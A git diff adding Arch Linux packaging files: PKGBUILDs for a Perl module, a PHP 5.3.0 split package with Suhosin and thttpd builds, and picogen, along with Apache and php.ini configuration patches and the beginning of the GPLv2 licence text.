+md5sums=('1d52fb9827e880fa8854c6793cca3d9d') +sha256sums=('b960978fa66d708d24ff28486a4d8a5b9bd9e0baa890c38c28f4ed62c77f7cea') +depends=('perl' 'opencv') +options=(!emptydirs) + +build() { + _dir=$(find $srcdir -maxdepth 2 -type f -name 'Makefile.PL') + if [ ! -z "$_dir" ]; then + cd $(dirname "$_dir") + PERL_MM_USE_DEFAULT=1 perl Makefile.PL INSTALLDIRS=vendor || return 1 + make || return 1 + make install DESTDIR="${pkgdir}" || return 1 + + else + _dir=$(find $srcdir -maxdepth 2 -type f -name 'Build.PL') + if [ ! -z "$_dir" ]; then + cd $(dirname "$_dir") + PERL_MM_USE_DEFAULT=1 perl Build.PL INSTALLDIRS=vendor || return 1 + ./Build || return 1 + ./Build install destdir=${pkgdir} || return 1 + + else + echo "error: failed to detect build method for $pkgname" + echo "you may be able to fix this by editing the PKGBUILD" + return 1 + fi fi + + # remove perllocal.pod and .packlist + find ${pkgdir} -name perllocal.pod -delete + find ${pkgdir} -name .packlist -delete +} + +# vim:set ts=2 sw=2 et: + diff --git a/php/PKGBUILD b/php/PKGBUILD new file mode 100644 index 0000000..5b83b29 --- /dev/null +++ b/php/PKGBUILD @@ -0,0 +1,350 @@ +# $Id: PKGBUILD 53281 2009-09-27 20:04:03Z pierre $ +# Maintainer: Pierre Schmitz + +pkgbase=php +pkgname=('php-thttpd') +lol=( 'php-cgi' + 'php-apache' + 'php-pear' + 'php-curl' + 'php-enchant' + 'php-gd' + 'php-gmp' + 'php-intl' + 'php-ldap' + 'php-mcrypt' + 'php-odbc' + 'php-pgsql' + 'php-pspell' + 'php-snmp' + 'php-sqlite' + 'php-tidy' + 'php-xsl') +pkgver=5.3.0 +pkgrel=5 +_suhosinver=${pkgver}-0.9.8 +_thttpdver=2.25b +arch=('i686' 'x86_64') +license=('PHP') +url='http://www.php.net' +makedepends=('apache' 'imap' 'postgresql-libs' 'mysql' 'libldap' 'postfix' + 'sqlite3' 'unixodbc' 'net-snmp' 'libzip' 'enchant' 'file' + 'libmcrypt' 'tidyhtml' 'aspell' 'libtool' 'gd' 'icu' + 'curl' 'libxslt' 'openssl' 'bzip2' 'db' 'gmp') +options=('!makeflags') +source=("http://www.php.net/distributions/${pkgbase}-${pkgver}.tar.bz2" + "http://download.suhosin.org/suhosin-patch-${_suhosinver}.patch.gz" + 'php.ini.patch' 'apache.conf' 'db-configure.patch' 'gd-info-segfault.patch' + "http://www.acme.com/software/thttpd/thttpd-${_thttpdver}.tar.gz") + +md5sums=('846760cd655c98dfd86d6d97c3d964b0' + 'a23a3d54e177ac0ad30f78d928ba8177' + '67c63d2c8a976a333bbd2216cdd60413' + '96ca078be6729b665be8a865535a97bf' + '45ecb6fb0aadfd3462097e3bab951aa5' + '1c1a50aae7207b12d27bdecd8967e7ce' + '156b249b3b0bcd48b06badd2db0d56c5') + +build() { + phpconfig="--prefix=/usr \ + --sysconfdir=/etc/php \ + --with-layout=GNU \ + --with-config-file-path=/etc/php \ + --with-config-file-scan-dir=/etc/php/conf.d \ + --enable-inline-optimization \ + --disable-debug \ + --disable-rpath \ + --disable-static \ + --enable-shared \ + --mandir=/usr/share/man \ + --without-pear \ + " + + phpextensions="--enable-bcmath=shared \ + --enable-calendar=shared \ + --enable-dba=shared \ + --enable-exif=shared \ + --enable-ftp=shared \ + --enable-gd-native-ttf \ + --enable-intl=shared \ + --enable-json=shared \ + --enable-mbregex \ + --enable-mbstring \ + --enable-pdo=shared \ + --enable-phar=shared \ + --enable-posix=shared \ + --enable-session \ + --enable-shmop=shared \ + --enable-soap=shared \ + --enable-sockets=shared \ + --enable-sqlite-utf8 \ + --enable-sysvmsg=shared \ + --enable-sysvsem=shared \ + --enable-sysvshm=shared \ + --enable-xml \ + --enable-zip=shared \ + --with-bz2=shared \ + --with-curl=shared \ + --with-db4=shared \ + --with-enchant=shared,/usr \ + --with-freetype-dir=shared,/usr \ + --with-gd=shared,/usr \ + --with-gdbm=shared \ + --with-gettext=shared \ + --with-gmp=shared \ + --with-iconv=shared \ + --with-icu-dir=/usr \ + --with-imap-ssl=shared \ + --with-imap=shared \ + --with-jpeg-dir=shared,/usr \ + --with-ldap=shared \ + --with-mcrypt=shared \ + --with-mysql-sock=/tmp/mysql.sock \ + --with-mysql=shared,mysqlnd \ + --with-mysqli=shared,mysqlnd \ + --with-openssl=shared \ + --with-pcre-regex=/usr \ + --with-pdo-mysql=shared,mysqlnd \ + --with-pdo-odbc=shared,unixODBC,/usr \ + --with-pdo-pgsql=shared \ + --with-pdo-sqlite=shared,/usr \ + --with-pgsql=shared \ + --with-png-dir=shared,/usr \ + --with-pspell=shared \ + --with-regex=php \ + --with-snmp=shared \ + --with-sqlite3=shared,/usr \ + --with-sqlite=shared \ + --with-tidy=shared \ + --with-unixODBC=shared,/usr \ + --with-xmlrpc=shared \ + --with-xsl=shared \ + --with-zlib \ + --without-db2 \ + --without-db3 \ + " + + EXTENSION_DIR=/usr/lib/php/modules + export EXTENSION_DIR + PEAR_INSTALLDIR=/usr/share/pear + export PEAR_INSTALLDIR + + cd ${srcdir}/${pkgbase}-${pkgver} + + # avoid linking against old db version + patch -p0 -i ${srcdir}/db-configure.patch || return 1 + + # apply suhosin patch + patch -p1 -i ${srcdir}/suhosin-patch-${_suhosinver}.patch || return 1 + + # adjust paths + patch -p0 -i ${srcdir}/php.ini.patch || return 1 + + # fix gd segfault; http://bugs.php.net/bug.php?id=49193 + patch -p0 -i ${srcdir}/gd-info-segfault.patch || return 1 + + # php + mkdir ${srcdir}/build-php + cd ${srcdir}/build-php + ln -s ../${pkgbase}-${pkgver}/configure + ./configure --srcdir=../${pkgbase}-${pkgver} \ + ${phpconfig} \ + --disable-cgi \ + --with-readline \ + --enable-pcntl \ + ${phpextensions} || return 1 + make || return 1 + + # cgi and fcgi + # reuse the previous run; this will save us a lot of time + cp -a ${srcdir}/build-php ${srcdir}/build-cgi + cd ${srcdir}/build-cgi + ./configure --srcdir=../${pkgbase}-${pkgver} \ + ${phpconfig} \ + --enable-cgi \ + --disable-cli \ + ${phpextensions} || return 1 + make || return 1 + + # apache + cp -a ${srcdir}/build-php ${srcdir}/build-apache + cd ${srcdir}/build-apache + ./configure --srcdir=../${pkgbase}-${pkgver} \ + ${phpconfig} \ + --with-apxs2 \ + --disable-cli \ + ${phpextensions} || return 1 + make || return 1 + + # pear + cp -a ${srcdir}/build-php ${srcdir}/build-pear + cd ${srcdir}/build-pear + ./configure --srcdir=../${pkgbase}-${pkgver} \ + ${phpconfig} \ + --disable-cgi \ + --with-readline \ + --enable-pcntl \ + --with-pear \ + ${phpextensions} || return 1 + make || return 1 + + # thttpd + cp -a ${srcdir}/build-php ${srcdir}/build-thttpd + cd ${srcdir}/build-thttpd + ./configure --srcdir=../${pkgbase}-${pkgver} \ + ${phpconfig} \ + --with-thttpd=${srcdir}/thttpd-${_thttpdver} \ + --disable-cli \ + ${phpextensions} || return 1 + #--with-apxs2 \ + make || return 1 +} + +package_php-thttpd() { + pkgdesc='PHP for tHTTPd' + depends=('php' 'thttpd' 'pcre' 'libxml2') + #backup=('etc/httpd/conf/extra/php5_module.conf') + + return 1; + #install -D -m755 ${srcdir}/build-apache/libs/libphp5.so ${pkgdir}/usr/lib/httpd/modules/libphp5.so + #install -D -m644 ${srcdir}/apache.conf ${pkgdir}/etc/httpd/conf/extra/php5_module.conf +} + + +package_php() { + pkgdesc='An HTML-embedded scripting language' + depends=('pcre' 'libxml2' 'bzip2' 'openssl') + replaces=('php-fileinfo') + provides=('php-fileinfo') + conflicts=('php-fileinfo') + backup=('etc/php/php.ini') + + cd ${srcdir}/build-php + make INSTALL_ROOT=${pkgdir} install || return 1 + install -d -m755 ${pkgdir}/usr/share/pear + # fix broken link + ln -sf phar.phar $pkgdir/usr/bin/phar + # install php.ini + install -D -m644 ${srcdir}/${pkgbase}-${pkgver}/php.ini-production ${pkgdir}/etc/php/php.ini + install -d -m755 ${pkgdir}/etc/php/conf.d/ + + # remove static modules + rm -f ${pkgdir}/usr/lib/php/modules/*.a + # remove modules provided by sub packages + rm -f ${pkgdir}/usr/lib/php/modules/{curl,enchant,gd,gmp,intl,ldap,mcrypt,odbc,pdo_odbc,pgsql,pdo_pgsql,pspell,snmp,sqlite3,pdo_sqlite,tidy,xsl}.so +} + +package_php-cgi() { + pkgdesc='CGI and FCGI SAPI for PHP' + depends=('php' 'pcre' 'libxml2') + + install -D -m755 ${srcdir}/build-cgi/sapi/cgi/php-cgi ${pkgdir}/usr/bin/php-cgi +} + +package_php-apache() { + pkgdesc='Apache SAPI for PHP' + depends=('php' 'apache' 'pcre' 'libxml2') + backup=('etc/httpd/conf/extra/php5_module.conf') + + install -D -m755 ${srcdir}/build-apache/libs/libphp5.so ${pkgdir}/usr/lib/httpd/modules/libphp5.so + install -D -m644 ${srcdir}/apache.conf ${pkgdir}/etc/httpd/conf/extra/php5_module.conf +} + +package_php-pear() { + pkgdesc='PHP Extension and Application Repository' + depends=('php' 'bash') + backup=("etc/php/pear.conf") + + cd ${srcdir}/build-pear + make install-pear INSTALL_ROOT=${pkgdir} + for i in $(find ${pkgdir}/ -name '.*'); do + [ -e $i ] && rm -rf $i + done +} + +package_php-curl() { + depends=('php' 'curl') + pkgdesc="curl module for PHP" + install -D -m755 ${srcdir}/build-php/modules/curl.so ${pkgdir}/usr/lib/php/modules/curl.so +} + +package_php-enchant() { + depends=('php' 'enchant') + pkgdesc="enchant module for PHP" + install -D -m755 ${srcdir}/build-php/modules/enchant.so ${pkgdir}/usr/lib/php/modules/enchant.so +} + +package_php-gd() { + depends=('php' 'gd') + pkgdesc="gd module for PHP" + install -D -m755 ${srcdir}/build-php/modules/gd.so ${pkgdir}/usr/lib/php/modules/gd.so +} + +package_php-gmp() { + depends=('php' 'gmp') + pkgdesc="gmp module for PHP" + install -D -m755 ${srcdir}/build-php/modules/gmp.so ${pkgdir}/usr/lib/php/modules/gmp.so +} + +package_php-intl() { + depends=('php' 'icu') + pkgdesc="intl module for PHP" + install -D -m755 ${srcdir}/build-php/modules/intl.so ${pkgdir}/usr/lib/php/modules/intl.so +} + +package_php-ldap() { + depends=('php' 'libldap') + pkgdesc="ldap module for PHP" + install -D -m755 ${srcdir}/build-php/modules/ldap.so ${pkgdir}/usr/lib/php/modules/ldap.so +} + +package_php-mcrypt() { + depends=('php' 'libmcrypt' 'libtool') + pkgdesc="mcrypt module for PHP" + install -D -m755 ${srcdir}/build-php/modules/mcrypt.so ${pkgdir}/usr/lib/php/modules/mcrypt.so +} + +package_php-odbc() { + depends=('php' 'unixodbc') + pkgdesc="ODBC modules for PHP" + install -D -m755 ${srcdir}/build-php/modules/odbc.so ${pkgdir}/usr/lib/php/modules/odbc.so + install -D -m755 ${srcdir}/build-php/modules/pdo_odbc.so ${pkgdir}/usr/lib/php/modules/pdo_odbc.so +} + +package_php-pgsql() { + depends=('php' 'postgresql-libs') + pkgdesc="PostgreSQL modules for PHP" + install -D -m755 ${srcdir}/build-php/modules/pgsql.so ${pkgdir}/usr/lib/php/modules/pgsql.so + install -D -m755 ${srcdir}/build-php/modules/pdo_pgsql.so ${pkgdir}/usr/lib/php/modules/pdo_pgsql.so +} + +package_php-pspell() { + depends=('php' 'aspell') + pkgdesc="pspell module for PHP" + install -D -m755 ${srcdir}/build-php/modules/pspell.so ${pkgdir}/usr/lib/php/modules/pspell.so +} + +package_php-snmp() { + depends=('php' 'net-snmp') + pkgdesc="snmp module for PHP" + install -D -m755 ${srcdir}/build-php/modules/snmp.so ${pkgdir}/usr/lib/php/modules/snmp.so +} + +package_php-sqlite() { + depends=('php' 'sqlite3') + pkgdesc="sqlite3 module for PHP" + install -D -m755 ${srcdir}/build-php/modules/sqlite3.so ${pkgdir}/usr/lib/php/modules/sqlite3.so + install -D -m755 ${srcdir}/build-php/modules/pdo_sqlite.so ${pkgdir}/usr/lib/php/modules/pdo_sqlite.so +} + +package_php-tidy() { + depends=('php' 'tidyhtml') + pkgdesc="tidy module for PHP" + install -D -m755 ${srcdir}/build-php/modules/tidy.so ${pkgdir}/usr/lib/php/modules/tidy.so +} + +package_php-xsl() { + depends=('php' 'libxslt') + pkgdesc="xsl module for PHP" + install -D -m755 ${srcdir}/build-php/modules/xsl.so ${pkgdir}/usr/lib/php/modules/xsl.so +} diff --git a/php/apache.conf b/php/apache.conf new file mode 100644 index 0000000..86344c8 --- /dev/null +++ b/php/apache.conf @@ -0,0 +1,9 @@ +# Required modules: dir_module, php5_module + + + + DirectoryIndex index.php index.html + AddHandler application/x-httpd-php .php + AddHandler application/x-httpd-php-source .phps + + \ No newline at end of file diff --git a/php/db-configure.patch b/php/db-configure.patch new file mode 100644 index 0000000..1d2c818 --- /dev/null +++ b/php/db-configure.patch @@ -0,0 +1,51 @@ +--- configure.orig 2009-06-29 17:46:18.000000000 +0200 ++++ configure 2009-08-14 08:34:52.000000000 +0200 +@@ -29088,43 +29088,15 @@ + + unset THIS_INCLUDE THIS_LIBS THIS_LFLAGS THIS_PREFIX THIS_RESULT + +- dbdp="/usr/local/BerkeleyDB.4." +- for i in $PHP_DB4 ${dbdp}6 ${dbdp}5 ${dbdp}4 ${dbdp}3 ${dbdp}2 ${dbdp}1 ${dbdp}0 /usr/local /usr; do +- if test -f "$i/db4/db.h"; then +- THIS_PREFIX=$i +- THIS_INCLUDE=$i/db4/db.h +- break +- elif test -f "$i/include/db4.6/db.h"; then +- THIS_PREFIX=$i +- THIS_INCLUDE=$i/include/db4.6/db.h +- break +- elif test -f "$i/include/db4.5/db.h"; then +- THIS_PREFIX=$i +- THIS_INCLUDE=$i/include/db4.5/db.h +- break +- elif test -f "$i/include/db4/db.h"; then +- THIS_PREFIX=$i +- THIS_INCLUDE=$i/include/db4/db.h +- break +- elif test -f "$i/include/db/db4.h"; then +- THIS_PREFIX=$i +- THIS_INCLUDE=$i/include/db/db4.h +- break +- elif test -f "$i/include/db4.h"; then +- THIS_PREFIX=$i +- THIS_INCLUDE=$i/include/db4.h +- break +- elif test -f "$i/include/db.h"; then +- THIS_PREFIX=$i +- THIS_INCLUDE=$i/include/db.h +- break +- fi +- done ++ if test -f "/usr/include/db.h"; then ++ THIS_PREFIX=/usr ++ THIS_INCLUDE=/usr/include/db.h ++ fi + + if test -z "$THIS_INCLUDE"; then + { echo "configure: error: DBA: Could not find necessary header file(s)." 1>&2; exit 1; } + fi +- for LIB in db-4.6 db-4.5 db-4.4 db-4.3 db-4.2 db-4.1 db-4.0 db-4 db4 db; do ++ for LIB in db; do + if test -f $THIS_PREFIX/$PHP_LIBDIR/lib$LIB.a || test -f $THIS_PREFIX/$PHP_LIBDIR/lib$LIB.$SHLIB_SUFFIX_NAME; then + lib_found=""; + diff --git a/php/gd-info-segfault.patch b/php/gd-info-segfault.patch new file mode 100644 index 0000000..846a19e --- /dev/null +++ b/php/gd-info-segfault.patch @@ -0,0 +1,26 @@ +Index: ext/gd/libgd/gd_compat.c +=================================================================== +--- ext/gd/libgd/gd_compat.c (Revision 286947) ++++ ext/gd/libgd/gd_compat.c (Revision 286948) +@@ -14,7 +14,7 @@ + return JPEG_LIB_VERSION; + } + +-int gdJpegGetVersionString() ++const char * gdJpegGetVersionString() + { + switch(JPEG_LIB_VERSION) { + case 62: +Index: ext/gd/libgd/gd_compat.h +=================================================================== +--- ext/gd/libgd/gd_compat.h (Revision 286947) ++++ ext/gd/libgd/gd_compat.h (Revision 286948) +@@ -8,7 +8,7 @@ + #endif + + const char * gdPngGetVersionString(); +-int gdJpegGetVersionString(); ++const char * gdJpegGetVersionString(); + int gdJpegGetVersionInt(); + int overflow2(int a, int b); + diff --git a/php/php.ini.patch b/php/php.ini.patch new file mode 100644 index 0000000..cd91d50 --- /dev/null +++ b/php/php.ini.patch @@ -0,0 +1,120 @@ +--- php.ini-production 2009-06-30 01:05:38.000000000 +0200 ++++ php.ini 2009-06-30 01:02:15.000000000 +0200 +@@ -376,7 +376,7 @@ + ; or per-virtualhost web server configuration file. This directive is + ; *NOT* affected by whether Safe Mode is turned On or Off. + ; http://php.net/open-basedir +-;open_basedir = ++open_basedir = /srv/http/:/home/:/tmp/:/usr/share/pear/ + + ; This directive allows you to disable certain functions for security reasons. + ; It receives a comma-delimited list of function names. This directive is +@@ -785,7 +785,7 @@ + ;;;;;;;;;;;;;;;;;;;;;;;;; + + ; UNIX: "/path1:/path2" +-;include_path = ".:/php/includes" ++include_path = ".:/usr/share/pear" + ; + ; Windows: "\path1;\path2" + ;include_path = ".;c:\php\includes" +@@ -808,7 +808,7 @@ + + ; Directory in which the loadable extensions (modules) reside. + ; http://php.net/extension-dir +-; extension_dir = "./" ++extension_dir = "/usr/lib/php/modules/" + ; On windows: + ; extension_dir = "ext" + +@@ -945,47 +945,49 @@ + ; extension folders as well as the separate PECL DLL download (PHP 5). + ; Be sure to appropriately set the extension_dir directive. + ; +-;extension=php_bz2.dll +-;extension=php_curl.dll +-;extension=php_dba.dll +-;extension=php_exif.dll +-;extension=php_fileinfo.dll +-;extension=php_gd2.dll +-;extension=php_gettext.dll +-;extension=php_gmp.dll +-;extension=php_intl.dll +-;extension=php_imap.dll +-;extension=php_interbase.dll +-;extension=php_ldap.dll +-;extension=php_mbstring.dll +-;extension=php_ming.dll +-;extension=php_mssql.dll +-;extension=php_mysql.dll +-;extension=php_mysqli.dll +-;extension=php_oci8.dll ; Use with Oracle 10gR2 Instant Client +-;extension=php_oci8_11g.dll ; Use with Oracle 11g Instant Client +-;extension=php_openssl.dll +-;extension=php_pdo_firebird.dll +-;extension=php_pdo_mssql.dll +-;extension=php_pdo_mysql.dll +-;extension=php_pdo_oci.dll +-;extension=php_pdo_odbc.dll +-;extension=php_pdo_pgsql.dll +-;extension=php_pdo_sqlite.dll +-;extension=php_pgsql.dll +-;extension=php_phar.dll +-;extension=php_pspell.dll +-;extension=php_shmop.dll +-;extension=php_snmp.dll +-;extension=php_soap.dll +-;extension=php_sockets.dll +-;extension=php_sqlite.dll +-;extension=php_sqlite3.dll +-;extension=php_sybase_ct.dll +-;extension=php_tidy.dll +-;extension=php_xmlrpc.dll +-;extension=php_xsl.dll +-;extension=php_zip.dll ++;extension=bcmath.so ++;extension=bz2.so ++;extension=calendar.so ++;extension=curl.so ++;extension=dba.so ++;extension=enchant.so ++;extension=exif.so ++;extension=ftp.so ++;extension=gd.so ++extension=gettext.so ++;extension=gmp.so ++;extension=iconv.so ++;extension=imap.so ++;extension=intl.so ++;extension=json.so ++;extension=ldap.so ++;extension=mcrypt.so ++;extension=mysql.so ++;extension=mysqli.so ++;extension=odbc.so ++;extension=openssl.so ++;extension=pdo.so ++;extension=pdo_mysql.so ++;extension=pdo_odbc.so ++;extension=pdo_pgsql.so ++;extension=pdo_sqlite.so ++;extension=pgsql.so ++;extension=phar.so ++;extension=posix.so ++;extension=pspell.so ++;extension=shmop.so ++;extension=snmp.so ++;extension=soap.so ++;extension=sockets.so ++;extension=sqlite.so ++;extension=sqlite3.so ++;extension=sysvmsg.so ++;extension=sysvsem.so ++;extension=sysvshm.so ++;extension=tidy.so ++;extension=xmlrpc.so ++;extension=xsl.so ++;extension=zip.so + + ;;;;;;;;;;;;;;;;;;; + ; Module Settings ; diff --git a/picogen/.gitignore b/picogen/.gitignore new file mode 100644 index 0000000..90c2d72 --- /dev/null +++ b/picogen/.gitignore @@ -0,0 +1 @@ +picogen-cvs diff --git a/picogen/PKGBUILD b/picogen/PKGBUILD new file mode 100644 index 0000000..336c8aa --- /dev/null +++ b/picogen/PKGBUILD @@ -0,0 +1,55 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=picogen +pkgver=0.2.0 +pkgrel=1 +pkgdesc="Free Terragen-like terrain generator and (monte-carlo method) ray tracer" +arch=('i686') +license=('GPL') +url="http://picogen.org/" +depends=( + 'libtiff' +) + +source=( + "http://picogen.org/get/current/gnu+linux/${pkgname}-${pkgver}.tar.gz" + ) + +md5sums=( + '44fae5f72e2732e2b4a8fbfc1fe56e5b' + ) + + +build() { + mkdir -p "${pkgdir}/opt/picogen/" + mkdir -p "${pkgdir}/usr/bin/" + mkdir -p "${pkgdir}/usr/lib/" + + cd ${srcdir} + rm "${pkgname}-${pkgver}.tar.gz" + cp -r * "${pkgdir}/opt/picogen/" || return 1 + strip "${pkgdir}/opt/picogen/"* + + ln -s /opt/picogen/picogen "${pkgdir}/usr/bin/picogen" || return 1 + ln -s /opt/picogen/picogen-wx "${pkgdir}/usr/bin/picogen-wx" || return 1 + + ln -s /usr/lib/libtiff.so.3 "${pkgdir}/usr/lib/libtiff.so.4" || return 1 + + chmod -R 755 "${pkgdir}/usr/" + + #Desktop Launcher + mkdir -p ${pkgdir}/usr/share/applications + echo '[Desktop Entry] +Encoding=UTF-8 +Name=PicoGen +GenericName=PicoGen +Comment=Terragen-like terrain generator +Exec=/usr/bin/picogen-wx +Icon=picogen +StartupNotify=true +Terminal=false +Type=Application +Categories=Graphics;3DGraphics;RasterGraphics;' > ${pkgdir}/usr/share/applications/picogen.desktop + +} diff --git a/pidgin-qip-decoder/LICENSE b/pidgin-qip-decoder/LICENSE new file mode 100755 index 0000000..dcfa4c2 --- /dev/null +++ b/pidgin-qip-decoder/LICENSE @@ -0,0 +1,340 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY 